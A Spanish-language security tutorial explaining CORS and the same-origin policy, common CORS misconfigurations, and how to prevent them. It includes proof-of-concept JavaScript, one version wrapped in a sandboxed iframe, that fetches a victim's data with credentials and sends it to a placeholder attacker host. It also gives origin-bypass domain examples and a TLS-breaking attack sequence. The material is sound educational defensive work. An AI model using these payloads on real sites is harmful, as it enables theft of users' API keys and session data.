En esta sección, explicaremos qué es la compartición de recursos entre orígenes (CORS), describiremos algunos ejemplos comunes de ataques basados en la compartición de recursos entre orígenes y discutiremos cómo protegerse contra estos ataques.
Requerimientos:
- Dominio – Un dominio para realizar las pruebas
- Programación – Conocimientos muy altos de programación
Resposabilidad:
En este tutorías utilizaremos técnicas de hacking, con el único fin de aprendizaje. No promovemos su utilización ni con fines lucrativos o incorrectos. No nos hacemos responsables de cualquier daño o menoscabo que pueda generar en los sistemas utilizados. La responsabilidad es absoluta del usuario de este tutorial.
Conocimientos:
- Linux – Alto
- Programación – Muy Alto
- Kali Linux – No aplica
- Windows – No aplica
- Redes – Alto
Nivel general del Tutorial: Muy alto
Ideal para: Programadores, Analistas de seguridad en código
¿Qué es CORS (cross-origin resource sharing)?
El uso compartido de recursos entre orígenes (CORS) es un mecanismo del navegador que permite el acceso controlado a recursos situados fuera de un determinado dominio. Amplía y añade flexibilidad a la política del mismo origen (SOP). Sin embargo, también ofrece la posibilidad de que se produzcan ataques entre dominios, si la política CORS de un sitio web está mal configurada e implementada. CORS no es una protección contra los ataques de origen cruzado, como la falsificación de solicitudes entre sitios (CSRF).
Same-origin policy
La política «same-origin» es una especificación restrictiva de origen cruzado que limita la capacidad de un sitio web para interactuar con recursos fuera del dominio de origen. La política del mismo origen se definió hace muchos años en respuesta a las interacciones potencialmente maliciosas entre dominios, como el robo de datos privados de un sitio web a otro. En general, permite que un dominio emita peticiones a otros dominios, pero no que acceda a las respuestas.
Relajación de la política same-origin
La política «same-origin» es muy restrictiva y, en consecuencia, se han ideado varios enfoques para eludir las limitaciones. Muchos sitios web interactúan con subdominios o sitios de terceros de forma que requieren un acceso total entre orígenes. Una relajación controlada de la política del mismo origen es posible mediante el uso compartido de recursos entre orígenes (CORS).
El protocolo de compartición de recursos entre orígenes utiliza un conjunto de cabeceras HTTP que definen los orígenes web de confianza y las propiedades asociadas, como por ejemplo si se permite el acceso autenticado. Estas propiedades se combinan en un intercambio de cabeceras entre un navegador y el sitio web de origen cruzado al que se intenta acceder.
Vulnerabilidades derivadas de problemas de configuración de CORS
Muchos sitios web modernos utilizan CORS para permitir el acceso desde subdominios y terceros de confianza. Su implementación de CORS puede contener errores o ser demasiado indulgente para garantizar que todo funcione, y esto puede dar lugar a vulnerabilidades explotables.
Server-generated ACAO header from client-specified Origin header
Algunas aplicaciones necesitan proporcionar acceso a otros dominios. Mantener una lista de dominios permitidos requiere un esfuerzo continuo, y cualquier error puede romper la funcionalidad. Así que algunas aplicaciones toman la ruta fácil de permitir efectivamente el acceso desde cualquier otro dominio.
Una forma de hacerlo es leer la cabecera Origin de las solicitudes e incluir una cabecera de respuesta que indique que el origen solicitante está permitido. Por ejemplo, considere una aplicación que recibe la siguiente solicitud:
GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=...
Luego responde con:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true ...
Estas cabeceras indican que el acceso está permitido desde el dominio solicitante (malicious-website.com) y que las peticiones entre dominios pueden incluir cookies (Access-Control-Allow-Credentials: true) y por tanto serán procesadas en sesión.
Como la aplicación refleja orígenes arbitrarios en la cabecera Access-Control-Allow-Origin, esto significa que absolutamente cualquier dominio puede acceder a los recursos del dominio vulnerable. Si la respuesta contiene alguna información sensible, como una clave API o un token CSRF, podría recuperarla colocando el siguiente script en su sitio web:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};Errors parsing Origin headers
Algunas aplicaciones que admiten el acceso desde múltiples orígenes lo hacen utilizando una lista blanca de orígenes permitidos. Cuando se recibe una solicitud CORS, el origen suministrado se compara con la lista blanca. Si el origen aparece en la lista blanca, se refleja en la cabecera Access-Control-Allow-Origin, de modo que se concede el acceso. Por ejemplo, la aplicación recibe una petición normal como:
GET /data HTTP/1.1 Host: normal-website.com ... Origin: https://innocent-website.com
La aplicación comprueba el origen suministrado con su lista de orígenes permitidos y, si está en la lista, refleja el origen de la siguiente manera:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://innocent-website.com
A menudo surgen errores al implementar listas blancas de origen CORS. Algunas organizaciones deciden permitir el acceso desde todos sus subdominios (incluyendo futuros subdominios que aún no existen). Y algunas aplicaciones permiten el acceso desde varios dominios de otras organizaciones, incluyendo sus subdominios. Estas reglas suelen implementarse comparando prefijos o sufijos de URL, o utilizando expresiones regulares. Cualquier error en la implementación puede hacer que se conceda acceso a dominios externos no deseados.
Por ejemplo, supongamos que una aplicación concede acceso a todos los dominios que terminan en:
normal-website.com
Un atacante podría obtener acceso registrando el dominio:
hackersnormal-website.com
Alternativamente, supongamos que una aplicación concede acceso a todos los dominios que empiezan por
normal-website.com
Un atacante podría ser capaz de obtener acceso utilizando el dominio:
normal-website.com.evil-user.net
Whitelisted null origin value
La especificación de la cabecera Origin admite el valor null. Los navegadores pueden enviar el valor null en la cabecera Origin en varias situaciones inusuales:
- Redirecciones entre sitios.
- Solicitudes de datos serializados.
- Solicitudes que utilicen el protocolo file:.
- Solicitudes de origen cruzado en un entorno aislado.
Algunas aplicaciones pueden poner en la lista blanca el origen nulo para apoyar el desarrollo local de la aplicación. Por ejemplo, supongamos que una aplicación recibe la siguiente solicitud entre dominios:
GET /sensitive-victim-data Host: vulnerable-website.com Origin: null
Y el servidor responde con:
HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
En esta situación, un atacante puede utilizar varios trucos para generar una solicitud entre dominios que contenga el valor null en la cabecera Origin. Esto satisfará la lista blanca, dando lugar a un acceso entre dominios. Por ejemplo, esto se puede hacer utilizando una solicitud de origen cruzado de iframe en caja de arena de la forma:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>Exploiting XSS via CORS trust relationships
Incluso un CORS «correctamente» configurado establece una relación de confianza entre dos orígenes. Si un sitio web confía en un origen que es vulnerable al cross-site scripting (XSS), entonces un atacante podría explotar el XSS para inyectar algún JavaScript que utilice CORS para recuperar información sensible del sitio que confía en la aplicación vulnerable.
Dada la siguiente solicitud:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=...
Si el servidor responde con:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
Entonces, un atacante que encuentre una vulnerabilidad XSS en subdomain.vulnerable-website.com podría usarla para recuperar la clave API, usando una URL como:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
Breaking TLS with poorly configured CORS
Supongamos que una aplicación que emplea rigurosamente HTTPS también incluye en su lista blanca un subdominio de confianza que utiliza HTTP plano. Por ejemplo, cuando la aplicación recibe la siguiente solicitud:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=...
La aplicación responde con:
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
En esta situación, un atacante que esté en posición de interceptar el tráfico de un usuario víctima puede explotar la configuración CORS para comprometer la interacción de la víctima con la aplicación. Este ataque implica los siguientes pasos:
- El usuario víctima realiza cualquier petición HTTP simple.
- El atacante inyecta una redirección a: http://trusted-subdomain.vulnerable-website.com
- El navegador de la víctima sigue la redirección.
- El atacante intercepta la petición HTTP simple, y devuelve una respuesta falsa que contiene una petición CORS a: https://vulnerable-website.com
- El navegador de la víctima realiza la petición CORS, incluyendo el origen: http://trusted-subdomain.vulnerable-website.com
- La aplicación permite la petición porque se trata de un origen de la lista blanca. Los datos sensibles solicitados se devuelven en la respuesta.
- La página falsa del atacante puede leer los datos sensibles y transmitirlos a cualquier dominio bajo su control.
Este ataque es efectivo incluso si el sitio web vulnerable es robusto en su uso de HTTPS, sin punto final HTTP y con todas las cookies marcadas como seguras.
Cómo prevenir los ataques basados en CORS
Las vulnerabilidades de CORS surgen principalmente como errores de configuración. Por lo tanto, la prevención es un problema de configuración. Las siguientes secciones describen algunas defensas eficaces contra los ataques CORS.
Configuración adecuada de las peticiones entre dominios
Si un recurso web contiene información sensible, el origen debe especificarse adecuadamente en la cabecera Access-Control-Allow-Origin.
Permitir sólo sitios de confianza
Puede parecer obvio, pero los orígenes especificados en la cabecera Access-Control-Allow-Origin sólo deben ser sitios de confianza. En particular, reflejar dinámicamente los orígenes de las solicitudes entre dominios sin validación es fácilmente explotable y debe evitarse.
Evite las listas blancas nulas
Evite utilizar el encabezado Access-Control-Allow-Origin: null. Las llamadas a recursos entre dominios desde documentos internos y las peticiones de sandboxing pueden especificar el origen null. Las cabeceras CORS deben definirse adecuadamente respecto a los orígenes de confianza para los servidores privados y públicos.
Evite los comodines en las redes internas
Evite el uso de comodines en las redes internas. Confiar únicamente en la configuración de la red para proteger los recursos internos no es suficiente cuando los navegadores internos pueden acceder a dominios externos no fiables.
CORS no es un sustituto de las políticas de seguridad del lado del servidor
CORS define los comportamientos de los navegadores y nunca sustituye a la protección de los datos sensibles en el lado del servidor: un atacante puede falsificar directamente una solicitud de cualquier origen de confianza. Por lo tanto, los servidores web deben seguir aplicando protecciones sobre los datos sensibles, como la autenticación y la gestión de sesiones, además de un CORS correctamente configurado.
Espero que les guste el contenido y les sirva de ayuda.
